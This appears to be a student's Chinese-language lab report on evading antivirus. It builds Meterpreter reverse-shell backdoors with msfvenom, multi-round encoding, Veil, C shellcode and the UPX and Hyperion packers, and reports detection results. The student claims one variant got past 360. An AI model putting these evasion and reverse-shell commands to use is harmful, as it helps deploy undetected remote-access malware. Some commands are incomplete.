基础
AV厂商检测恶意软件的三种主流方式:
- 基于特征码的检测
- 启发式恶意软件检测
- 基于行为的恶意软件检测
实现免杀就是防止恶意软件被这是三种方式找到。具体手段为:
- 改变特征码
- 改变行为
- 非常规恶意软件
1.实践内容
首先把上一次实验中制作的后门20164313_backdoor.exe传至win10主机中,结果直接被360删了,影子都没:
添加信任。
再把恶意软件上传至virscan网站中扫描,结果如下:
好吧,把名字修改为DGX_backdoor.exe
果然,裸奔的后门还是很容易被查杀的(某些杀软真的菜的抠脚)。
1.1使用msf编码器编码
作为负责人还是给您们列出本次msf要使用的参数吧:
-a <arch> 设置目标的指令集架构,这里我们选择x86即可
-platform <platform>
设置目标平台,这里是windows,可以通过-l platforms
选项查看msfvenom支持的所有平台-p <payload> 设置攻击载荷,我们使用windows/meterpreter/reverse_tcp,可以通过-l payloads查看所有攻击载荷
-e <encoder> 指定编码器,我会组合使用不同的编码器,可以通过-l encoders查看所有编码器
-i <count> 指定编码迭代的次数
-f <format> 指定生成格式,可以是raw,exe,elf,jar,c语言的,python的,java的……,用-l formats查看所有支持的格式
作为负责人还是给你们列出本次的msf要使用的参数吧
我们尝试使用msf编码器对程序进行一次到多次的编码。
- 输入msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST= -f exe > DGX_backdoor1.exe 进行一次编码,然后按照实验二的步骤将软件传至win主机中。
一次编码后没有啥实质改变,多骗了一个引擎。
- 输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST=192.168.198.139 LPORT=4343 -f exe > DGX_backdoor10.exe 进行10次编码。
结果还是一样,照样被查杀。
1.2使用msfvenom生成如jar、raw之类的其他文件
- 输入msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= -f jar > DGX_backdoorjava.jar ,生成java文件。
显示我的攻击载荷没有被生成。
输入 msfvenom -l payloads 查看攻击载荷。
随便选一个攻击载荷。
输入 msfvenom -a x86 --platform windows -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= -f jar > DGX_backdoorjava.jar 生成jar文件。
。。。。。。。。。。。。。。。。。。。。好吧,我改名。
只有12%了!!!
- 让我们再试试php格式,输入 msfvenom -a x86 --platform windows -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= -f php > DGX_backdoorphp.php
警告我不正确的生成格式,好吧,那我们尝试一下raw的生成格式。
输入 msfvenom -a x86 --platform windows -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= -f raw > DGX_backdoorphp.php
摔,警告我设置的目标平台与攻击载荷不兼容,得得得,我改。
输入 msfvenom -l platforms 查看msf支持目标平台。
输入 msfvenom -a x86 --platform php -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= -f raw > DGX_backdoorphp.php
微笑,我看你就是故意刁难我!!!删了删了。
输入 msfvenom --platform php -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= -f raw > DGX_backdoorphp.php
流下了激动的泪水。。。
emmm没问题才是最大的问题,据我的推测,应该是raw编码方式的问题,删了删了。
输入 msfvenom --platform php -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= x > DGX_backdoorphp.php
难道说,php的文件都是无毒无公害的有机文件,我不信,试试裸奔的php!!!
输入 msfvenom -p php/meterpreter/reverse_tcp lhost= x> DGX_backdoorphp.php
哈哈哈!果然不是免检产品,可能这么低的报错率主要是php用的人比较少吧,导致很少有黑客开发这类型的后门。
1.3veil-evasion
1。安装veil-evasion,网上有教程因此不再演示。
2.输入 veil 进入veil工具,再输入 use evasion 。
3.输入 list 查看可生成文件格式,输入 use 选择C语言格式。
4.输入 set LHOST 192.168.1.176 设置反弹IP端口;
输入 设置反弹连接端口;
输入 generate 生成文件;
输入 du4313 设置playload的名字;
生成成功,按照地址找到文件
-
emmm,看来还是不能免杀。
1.4使用shellcode编程
1.输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f c 使用c语言生成shellcode
2.生成du4313.c执行文件
3.输入 i686-w64-mingw32-g++ du4313.c -o du4313.exe 生成可执行的后门程序。
迅速删除。。。
1.5 加壳工具
1.压缩壳
输入 upx du4313.exe -o du4313-upx.exe 给文件加壳
emmm坚持了5分钟360不报毒
网站报毒
2.加密壳Hyperion
将文件拷贝到/usr/share/windows-binaries/hyperion/目录中
输入 cd /usr/share/windows-binaries/hyperion/ 进入目录
输入 wine hyperion.exe -v du4313.exe du4313-hyperion.exe 生成加壳文件。
360报毒
1.6通过组合应用各种技术实现恶意代码免杀
1.使用msfvenom生成原始文件dgx-backdoor-v1.exe
2.使用msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码20次,接着来10次alpha_upper编码,再来10次的countdown编码,生成可执行文件dgx-backdoor-v2.exe
3.生成shellcode
4.参考网站 https://www.freebuf.com/articles/system/100147.html 生成dgx-backdoor-v4
360扫描出v2和v3没能扫出v4。
1.7 用另一电脑实测,在杀软开启的情况下,可运行并回连成功
2.基础问题回答
(1)杀软是如何检测出恶意代码的?
答:AV厂商检测恶意软件的三种主流方式:
- 基于特征码的检测
- 启发式恶意软件检测
- 基于行为的恶意软件检测
(2)免杀是做什么?
答:通过特殊方法如加壳,编码,手工编写等方式使杀毒软件无法查杀。
(3)免杀的基本方法有哪些?
答:改变特征码、改变行为、加壳、手工修改等。
3.实践总结与体会
答:这次实验还是比以往的实验有难度也更有意思了,学习了各种免杀的方式,虽然对于实时更新的杀软企业来说还是很小儿科,但还是学到了很多东西。
4. 开启杀软能绝对防止电脑中恶意代码吗?
答:不能,世界上就没有绝对二字,杀软企业实时更新自己的病毒库,但是网络中病毒的数量也在每日递增,总会有漏洞出现,比如这次我使用的漏洞是2016年发现的,但是至今仍然没被修补。